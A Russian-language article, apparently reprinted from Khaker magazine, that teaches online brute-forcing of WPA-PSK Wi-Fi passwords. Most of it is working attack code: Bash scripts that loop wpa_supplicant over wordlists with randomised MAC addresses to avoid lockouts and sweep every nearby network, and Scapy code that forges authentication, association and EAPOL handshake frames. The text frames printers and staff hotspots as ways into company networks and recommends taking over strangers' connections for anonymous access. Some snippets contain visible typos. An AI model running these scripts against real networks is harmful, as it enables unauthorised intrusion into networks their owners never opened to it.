Эффективный брутфорс Wi-Fi

Атаковать можно как точки доступа так и клиентов. В то время как точки доступа могут использовать разные протоколы и методы аутентификации.

Сегодня мы рассмотрим эффективный метод брута Wi-Fi.

Автор и редакция ни к чему не призывают, и ответственности за действия изложенные в этом тексте не несут. Использование данной информации во вред НЕ ЗАКОННО!
Внимание! Код представленный в статье может быть слегка кривой из-за некоторых технических проблем. Код в файлах – нормальный.

Чаще встречаются сети WPA PSK. В компаниях может использоваться исключительно WPA-Enterprise, но тем не менее всегда можно найти WPA PSK в принтерах или например в точках доступа работающих на телефонах сотрудников. Чем больше периметр компании, тем больше, таких потенциальных точек входа может быть. При атаках на WPA PSK обычно используется эта схема:

Классическая схема действий при атаках на WPA PSK. Эффективный  брут Wi-Fi
Классическая схема действий при атаках на WPA PSK

Но у точки доступа может не быть клиентов, и сеть не будет подвержена PMKID, и у таких не обнаружится уязвимости к перебору WPS. Выходит, такие точки доступа устойчивы к атакам, даже если на них используется очень простой пароль?

ОНЛАЙНОВЫЙ БРУТФОРС С ИСПОЛЬЗОВАНИЕМ WPA_SUPPLICANT

Подобрать пароль к обычной WPA сети всегда можно простым перебором, аутентифицируясь и спрашивая каждый раз пароль у точки доступа.

Атаки онлайн подбором пароля к Wi-Fi сетям крайне редки, и в интернете можно найти не так уж много реализацией такой атаки. Ее скорость низкая в сравнении с брутом WPA Handshake или PMKID. Но эта атака может быть единственной доступной. Если используется очень простой пароль, неужели для атаки подобных устройств нужен хендшейк?

Брутфорс онлайн в ширину (много точек доступа, несколько паролей)

Что если мы возьмем много слабых паролей? Реализовать онлайн брут мы можем просто с помощью скрипта на Bash, используя лишь wpa_supplicant:

wpa-brute.sh
#!/bin/bash

RED='\x1b[31m'
GREEN='\x1b[32m'
GREY='\x1b[90m'
RESET='\x1b[0m'

TIMEOUT=15
IFACE=wlan0
[[ $# -ge 1 ]] && essid="$1" || read -p 'essid: ' essid
[[ $# -ge 2 ]] && wordlist="$2" || read -p 'wordlist: ' wordlist
[[ $# -ge 3 ]] && threads="$3" || threads=1
rand=$RANDOM

if [ "$threads" -eq 1 ]; then
    touch "/tmp/wpa_${rand}_${essid}.conf"
    while read -r password
    do
        [[ "${#password}" -lt 8 ]] && continue
        #sudo ifconfig $IFACE down; sudo ifconfig $IFACE hw ether "00:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]" 2> /dev/null; sudo ifconfig $IFACE up
        wpa_passphrase "$essid" "$password" > "/tmp/wpa_${rand}_${essid}.conf" || continue
        sed -i 's/^.*#psk=.*$/\tscan_ssid=1/g' "/tmp/wpa_${rand}_${essid}.conf"
        sudo ifconfig $IFACE up
        sudo timeout $TIMEOUT wpa_supplicant -i $IFACE -c "/tmp/wpa_${rand}_${essid}.conf" 2>&1 > "/tmp/wpa_${rand}_${essid}.log" &
        wpa_supplicant=$!
        tail -f "/tmp/wpa_${rand}_${essid}.log" 2> /dev/null | while read -t $TIMEOUT line
        do
    	#echo "$line"
            if echo "$line" | grep -q "completed"; then
                break
            elif echo "$line" | grep -q "Handshake failed"; then
                break
            fi
        done
        sudo pkill -P $wpa_supplicant 2> /dev/null
        now=$(date +'%H:%M:%S')
        if grep -q "complete" "/tmp/wpa_${rand}_${essid}.log" > /dev/null; then
            echo -e $GREEN "[+] [$now] $IFACE $essid: $password" $RESET
            exit 1
          elif grep -q "Handshake failed" "/tmp/wpa_${rand}_${essid}.log"; then
            echo -e $RED "[-] [$now] $IFACE $essid: $password" $RESET
          else
            echo -e $GREY "[!] [$now] $IFACE $essid: $password" $RESET
            echo "$password" >> "$wordlist"
        fi
        rm "/tmp/wpa_${rand}_${essid}.log" 2> /dev/null
        rm "/tmp/wpa_${rand}_${essid}.conf" 2> /dev/null
    done < "$wordlist"
elif [ "$threads" -gt 1 ]; then
    typeset -a pids=()
    for ((thread=0; thread<$threads; thread++)); do
        "$0" "$1" <(cat "$2" | awk "NR%$threads==$thread") || pkill -f "$0" &
        pids+=($!)
        #sleep 0.25
    done
    for pid in ${pids[*]}; do
        tail --pid=$pid -f /dev/null
    done
fi

Скрипт будет пытаться подключится к точке доступа, используя исключительно легитимное ПО. На каждой итерации, чтобы избежать блокировок, он может менять MAC адрес. Такой скрипт не требует особых режимов Wi-Fi адаптера и может быть запушен на любом ноуте или на Андроиде.

Брут онлайн в глубину в четыре потока (одна точка доступа, много паролей)

Этот метод не так уж и плох, ведь даже Android по дефолту управляет беспроводными соединениями через старый добрый wpa_supplicant.

Cчитается, что онлайн‑брут точек доступа не параллелится, а скорость подбора пароля увеличить невозможно. Однако при одновременном бруте паролей сразу с двух устройств не было замечено падения скорости, следовательно, увеличение быстродействия возможно.

В скрипте wpa-brute.sh есть поддержка многопоточности, реализованная достаточно простым и оригинальным способом: на одном и том же WLAN интерфейсе мы можем одновременно запускать сразу несколько процессов wpa_supplicant. Пока один ждет ответа от точки доступа, другой wpa_supplicant может отправлять пакеты аутентификации со следующим паролем.

Значит, скорость брута все же может быть увеличена, правда, в разумных пределах и не на всех точках доступа в равной степени.

Добавив обертку вокруг скрипта wpa-brute.sh, мы можем реализовать брут в ширину:

wpa_brute-width.sh
#!/bin/bash

RED='\x1b[31m'
GREEN='\x1b[32m'
GREY='\x1b[90m'
RESET='\x1b[0m'

IFACE=wlan0
TIMEOUT=60
PASSWD=()
MAX_TREADS=6
[[ $# -ge 1 ]] && PASSWD=($*) || while read passwd; do PASSWD+=("$passwd"); done
#PASSWD=(12345678 123456789 1234567890 qwertyuiop 1q2w3e4r 987654321 1q2w3e4r5t qazwsxedc 11111111)

#sudo killall -KILL wpa_supplicant 2> /dev/null
mkdir /tmp/wpa_brute 2> /dev/null && chmod o+rw /tmp/wpa_brute

while :
do
  sudo ifconfig $IFACE up
  typeset -a bssids=()
  typeset -a essids=()
  typeset -a signals=()
  IFS=$'\x0a'
  for line in $(sudo iw dev $IFACE scan 2> /dev/null | egrep '^BSS|SSID:|signal:|Authentication' | tr $'\n' $'\t' | sed -e 's/BSS/\nBSS/g' | grep 'PSK')
  do
    IFS=$'\t' read bssid signal essid <<< $(echo "$line" | sed -rn 's/BSS (.+)\(.*\t+signal: (.*).00 dBm.*\t+SSID: ([^\t]+)\t.*/\1\t\2\t\3/p')
    if [ -n "$essid" ]; then
      #echo "[*] $bssid $signal $essid"
      bssids+=($bssid)
      essids+=($essid)
      signals+=($signal)
    fi
  done

  for ((i=0; i<${#bssids[@]}; i++))
  do
    echo "${essids[i]}"$'\t'"${bssids[i]}"$'\t'"${signals[i]}"
  done | sort -n -k 3 -r | uniq > /tmp/wpa_brute/wpa_net.txt

  IFS=$'\x0a'
  for net in $(cat /tmp/wpa_brute/wpa_net.txt)
  do
    IFS=$'\t' read essid bssid signal <<< $(echo "$net")
    fgrep -q "$essid" /tmp/wpa_brute/essids_known.txt 1> /dev/null 2> /dev/null && continue
    echo "[+] $essid $bssid $signal"
    sudo ifconfig $IFACE down; sudo ifconfig $IFACE hw ether "00:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]" 2> /dev/null; sudo ifconfig $IFACE up
    threads=0
    for passwd in ${PASSWD[*]}
    do ((threads++)) 
      echo "$passwd"
    done > /tmp/wpa_brute/wordlist.txt
    timeout $TIMEOUT $(dirname "$0")/wpa_brute.sh "$essid" /tmp/wpa_brute/wordlist.txt $(( threads<=MAX_TREADS ? threads : MAX_TREADS ))
    echo "$essid" >> /tmp/wpa_brute/essids_known.txt
    break
  done
done

Cкрипт на каждой итерации будет сканировать эфир, проверять наличие беспроводных сетей, сортировать их по уровню сигнала и пытаться подобрать только один или несколько указанных паролей.

Брут в ширину может быть очень полезен, когда атакуемый объект имеет протяженный периметр с кучей разнообразных Wi-Fi сетей, многие из которых – это несанкционированные сети, раздаваемые пользователями, не сильно заботящимися о защищенности.

Другой хороший пример слабо защищенных устройств, которые обязательно стоит искать подобным методом, – это принтеры. И то и другое может стать отличной точкой входа во внутреннюю сеть компании.

Использовать брут в ширину можно и без цели проникновения, например чтобы организовать анонимный выход в интернет через чужой канал.

ОНЛАЙНОВЫЙ БРУТФОРС С ИСПОЛЬЗОВАНИЕМ SCAPY

Если в нашем распоряжении есть сетевая карта с режимом монитора и возможностью инжекта произвольных пакетов, можно попробовать самостоятельно реализовать брут. Для этого нужно использовать протокол, по которому выполняется проверка ключа WPA PSK, – EAPOL. А именно первые два его пакета – M1 и M2. Пакет M1 будет отправлять точка доступа, так что нам нужно уметь его читать и на его основе формировать пакет M2, содержащий уже контрольную сумму пароля. И если мы получим от точки доступа еще и M3-пакет EAPOL, значит, пароль был верный.

EAPOL

Протокол передачи EAP-сообщений в стандарте 802.1x называется EAPOL (EAP encapsulation over LAN) и в настоящее время определен для Ethernet ЛВС (ЛВС – локальная вычислительная сеть), а также беспроводных сетей стандартов серии IEEE 802.11 и ЛВС, использующих технологии token ring и FDDI.

Token Ring – протокол передачи данных в локальной вычислительной сети (LAN) с топологией кольца и «маркерным доступом». Находится на канальном уровне (DLL, (DLL – отвечает за доставку сообщения от узла к узлу)) модели OSI.

Маркерный доступ – способ использования радиочастот, когда в одном частотном интервале находятся несколько абонентов, разные абоненты используют разные временные слоты (интервалы) для передачи.

FDDI – стандарт передачи данных 1980-х годов для локальных сетей. Стандарт основан на протоколе Token Ring.

Из небольшого кол-ва информации найденной в интернете удалось реализовать вычисление ключа WPA PSK с использованием EAPOL и построить всю цепочку negotiation (согласование).

Итак, прежде всего нам нужно имя (ESSID) и MAC-адрес (BSSID) беспроводной сети, которые можно получить из Beacon-пакета:

from scapy.all import *
from threading import Thread
from time import sleep
import hmac,hashlib,binascii
import random
from sys import argv

beacon = None
def get_beacon():
    def handle(p):
        global beacon
        seen_receiver = p[Dot11].addr1
        seen_sender = p[Dot11].addr2
        seen_bssid = p[Dot11].addr3
        if target.lower() == seen_bssid.lower() and \
        Dot11Beacon in p:
            beacon = p
            print("[*] Beacon from Source {}".format(seen_bssid))
            return True
    sniff(iface=IFACE, lfilter=lambda p: p.haslayer(Dot11Beacon), stop_filter=handle, timeout=WAIT)

Thread(target=get_beacon).start()
wait = 5
while not beacon and wait > 0:
    sleep(0.01)
    wait -= 0.01
if beacon:
    print("[+] beacon received")
else:
    print("[-] no beacon received")
    exit(1)

Подключаемся к точке доступа. Для этого ей нужно отправить запрос авторизации:

authorization_request = RadioTap()/Dot11(proto=0 FCfield=0 subtype=11 addr2=source addr3=target, addr1=target, SC=0 type=0 ) / Dot11Auth(status=0 seqnum=1 algo=0)

is_auth_found = False
def get_authorization_response():
    def handle(p):
        global is_auth_found
        seen_receiver = p[Dot11].addr1
        seen_sender = p[Dot11].addr2
        seen_bssid = p[Dot11].addr3

        if target.lower() == seen_bssid.lower() and \
        target.lower() == seen_sender.lower() and \
        source.lower() == seen_receiver.lower():
            is_auth_found = True
            print("[*] Detected Authentication from Source {0}".
format(seen_bssid))
        return is_auth_found
    sniff(iface=IFACE, lfilter=lambda p: p.haslayer(Dot11Auth), stop_filter=handle, timeout=WAIT)

Thread(target=get_authorization_response).start()
sleep(0.01)
sendp(authorization_request, verbose=0, count=1)
wait = 15
while not is_auth_found and wait > 0:
    sleep(0.01)
    wait -= 0.01
if is_auth_found:
    print("[+] authenticated")
else:
    print("[-] no authenticated")
    exit(1)

Как только от точки доступа поступило согласие, отправляем Association-запрос:

association_request = RadioTap() / Dot11(proto=0 FCfield=0 subtype=0, addr2=source addr3=target, addr1=target, SC=0 type=0) \
    / Dot11AssoReq(listen_interval=5, cap=0x1101) \
    / beacon[Dot11Beacon].payload

is_assoc_found = False
def get_association_response():
    def handle(p):
        global is_assoc_found
        seen_receiver = p[Dot11].addr1
        seen_sender = p[Dot11].addr2
        seen_bssid = p[Dot11].addr3

        if target.lower() == seen_bssid.lower() and \
        target.lower() == seen_sender.lower() and \
        source.lower() == seen_receiver.lower():
            is_assoc_found = True
            print("[*] Detected Association Response from Source {0}".format(seen_bssid))
        return is_assoc_found
    sniff(iface=IFACE, lfilter=lambda p: p.haslayer(Dot11AssoResp), stop_filter=handle, timeout=WAIT)

Thread(target=get_association_response).start()
sleep(0.01)
sendp(association_request, verbose=0, count=1)
wait = 15
while (not is_assoc_found or not anonce) and wait > 0:
    sleep(0.01)
    wait -= 0.01
if is_assoc_found or anonce:
    print("[+] associated")
else:
    print("[-] no associated")
    exit(1)

На наш Association-запрос точка доступа отвечает положительно и сразу начинает отправлять M1-пакеты EAPOL, в которых, кстати, часто и содержится тот самый PMKID. В этих пакетах нас будет интересовать поле ANONCE, на основе которого в дальнейшем будет считаться хеш‑сумма пароля:

anonce = ""
def get_m1():
    def handle(p):
        global anonce
        seen_receiver = p[Dot11].addr1
        seen_sender = p[Dot11].addr2
        seen_bssid = p[Dot11].addr3
        key_mic_is_set = 0b100000000
        if target.lower() == seen_bssid.lower() and \
        target.lower() == seen_sender.lower() and \
        source.lower() == seen_receiver.lower() and \
        not int.from_bytes(bytes(p[EAPOL].payload)[1:3], byteorder='big') & key_mic_is_set:
            anonce = bytes(p[EAPOL].payload)[13:13+32]
            print("[*] EAPOL M1 from Source {}".format(seen_bssid))
            return True
    sniff(iface=IFACE, lfilter=lambda p: p.haslayer(EAPOL), stop_filter=handle, timeout=WAIT)

Thread(target=get_m1).start()
wait = WAIT
while not anonce and wait > 0:
    sleep(0.01)
    wait -= 0.01
if anonce:
    print("[+] M1 ANonce: {0}".format(anonce.hex()))
else:
    print("[-] no M1 received")
    exit(1)

Вот теперь мы должны сгенерить M2-пакет EAPOL, более известный как WPA Handshake (в нашем случае пока еще Half-handshake):

def assemble_EAP_Expanded(self, l):
    ret = ''
    for i in range(len(l)):
        if l[i][0] & 0xFF00 == 0xFF00:
            ret += (l[i][1])
        else:
           ret += pack('!H', l[i][0]) + pack('!H', len(l[i][1])) +  l[i][1]
    return ret

def PRF_512(key,A,B):
    return b''.join(hmac.new(key,A+chr(0).encode()+B+chr(i).encode(), hashlib.sha1).digest() for i in renge(4))[:64]

def get_rand(n):
    o = b''
    for _ in range(n):
        o += int(random.random()*255).to_bytes(1, 'big')
    return o

def b(mac):
    o = b''
    for m in mac.split(':'):
        o += int(m, 16).to_bytes(1, 'big')
    return o

pmk = hashlib.pbkdf2_hmac('sha1', password.encode(), essid.encode(), 4096, 32)
snonce = get_rand(32)
ptk = PRF_512(pmk, b"Pairwise key expansion", min(b(target),b(source))+max(b(target),b(source))+min(anonce,snonce)+max(anonce,snonce))
kck = ptk[0:16]
print("[*] PTK: {}".format(ptk.hex()))
print("[*] KCK: {}".format(kck.hex()))

eapol_data_4 = bytearray(117)
eapol_data_4[0:1] = b"\x02" # Key Description Type: EAPOL RSN Key
eapol_data_4[1:1+2] = b"\x01\x0a" # Key Information: 0x010a
eapol_data_4[3:3+2] = b"\x00\x00" # Key Length: 0
eapol_data_4[5:5+8] = b"\x00\x00\x00\x00\x00\x00\x00\x01" # Replay
Counter: 1
eapol_data_4[13:13+32] = snonce # WPA Key Nonce
eapol_data_4[45:45+16] = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" # WPA Key IV
eapol_data_4[61:61+8] = b"\x00\x00\x00\x00\x00\x00\x00\x00" # WPA Key RSC
eapol_data_4[69:69+8] = b"\x00\x00\x00\x00\x00\x00\x00\x00" # WPA Key ID
eapol_data_4[77:77+16] = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" # WPA Key MIC
eapol_data_4[93:93+2] = b"\x00\x16" # WPA Key Data Length: 22
eapol_data_4[95:95+26] = bytes(rsn_cap) # WPA Key Data Length

mic = hmac.new(kck, b"\x01\x03\x00\x75" + bytes(eapol_data_4[:77]) + bytes.fromhex("00000000000000000000000000000000") + bytes(eapol_data_4[93:]), hashlib.sha1).digest()[0:16]
eapol_data_4[77:77+16] = mic
print("[*] MIC: {}".format(mic.hex()))

m2 = RadioTap() / Dot11(proto=0, FCfield=1, addr2=source, addr3=target, addr1=target, subtype=8, SC=0, type=2, ID=55808) \
/ Dot11QoS(TID=6, TXOP=0, EOSP=0) \
/ LLC(dsap=0xaa, ssap=0xaa, ctrl=0x3) \
/ SNAP(OUI=0, code=0x888e) \
/ EAPOL(version=1, type=3, len=117) / bytes(eapol_data_4)

def checksum(data):
    FSC = binascii.crc32(data) % (1<<32)
    FSC = str(hex(FSC))[2:]
    FSC = "0" * (8-len(FSC)) + FSC
    return bytes.fromhex(FSC)[::-1]

m2 /= checksum(bytes(m2))
sendp(m2, verbose=0, count=1)

Теперь нам нужно лишь ждать, отправит ли точка доступа M3-пакет EAPOL (вторую половину Handshake). Это будет означать, что мы угадали пароль. Если нет, возвращаемся в самое начало уже с другим паролем:

amic = ""
def get_m3():
    def handle(p):
        global amic
        seen_receiver = p[Dot11].addr1
        seen_sender = p[Dot11].addr2
        seen_bssid = p[Dot11].addr3
        key_mic_is_set = 0b100000000
        if target.lower() == seen_bssid.lower() and \
        target.lower() == seen_sender.lower() and \
        source.lower() == seen_receiver.lower() and \
        int.from_bytes(bytes(p[EAPOL].payload)[1:3], byteorder='big') & key_mic_is_set:
            amic = bytes(p[EAPOL].payload)[77:77+16]
            print("[*] EAPOL M3 from source {}".format(seen_bssid))
            return True
    sniff(iface=IFACE, lfilter=lambda p: p.haslayer(EAPOL), stop_filter=handle, timeout=WAIT)

Thread(target=get_m3).start()
wait = 1.0
while not amic and wait > 0:
    sleep(0.01)
    wait -= 0.01

if amic:
    print("[+] M3 AMIC: {0}".format(amic.hex()))
    exit(0)
else:
    exit(1)

Собрав все вместе, мы получим хорошо масштабируемый примитив.

Аутентификация под неверным паролем (EAPOL M3 не принят)
Аутентификация под верным паролем (EAPOL M3 принят)

Такой скрипт мы можем запустить многократно, на нескольких консолях одновременно, тем самым реализовав простое распараллеливание процесса:

while read password
do if sudo ./auth.py 00:11:22:33:44:55 test_wifi "$password"; then break; fi
done < passwords.txt

В скрипте brute.py этот код был немного реорганизован в более удобную для многопоточности форму.

Восемь потоков онлайн‑брута
Успешно подобранный пароль

Пароль подобран. Каждая попытка аутентификации выполнялась с рандомного MAC адреса, чтобы клиент не заблокировали.

Если мы укажем слишком много потоков параллельного брута, точка доступа может не поспеть за нами, в таком случае мы будем получать сообщения об ошибке. Однако скрипт прекрасно учитывает это, добавляя еще не проверенные пароли в начало очереди.

ВЫВОДЫ

Теперь мы открыли недостающее звено в матрице действий.

Дополненная схема действий при атаках на WPA PSK

А заодно мы изучили еще одну простую, давно забытую, но очевидную атаку.

Используя скрипт wpa_brute-width.sh, мы сможем отыскать небезопасный принтер среди сотен беспроводных сетей, которые просто нереально атаковать в ручном режиме, да еще и в движении. Для подобной атаки нет особых требований – атакованной может быть любая беспроводная сеть WPA PSK, а саму атаку можно вести с любой сетевой карты и даже с телефона.

Атакуя тот или иной объект, мы никогда не знаем весь перечень доступных беспроводных сетей.

Разнообразные беспроводные устройства, забытые и несанкционированные сети – отличный тому пример.

Код всех утилит вы можете скачать здесь. (Пароль: 8713.su)


Источник: Журнал «Хакер», выпуск #290.

Этот веб-сайт использует файлы cookie, чтобы обеспечить вам наилучший опыт.
Этот веб-сайт использует файлы cookie, чтобы обеспечить вам наилучший опыт.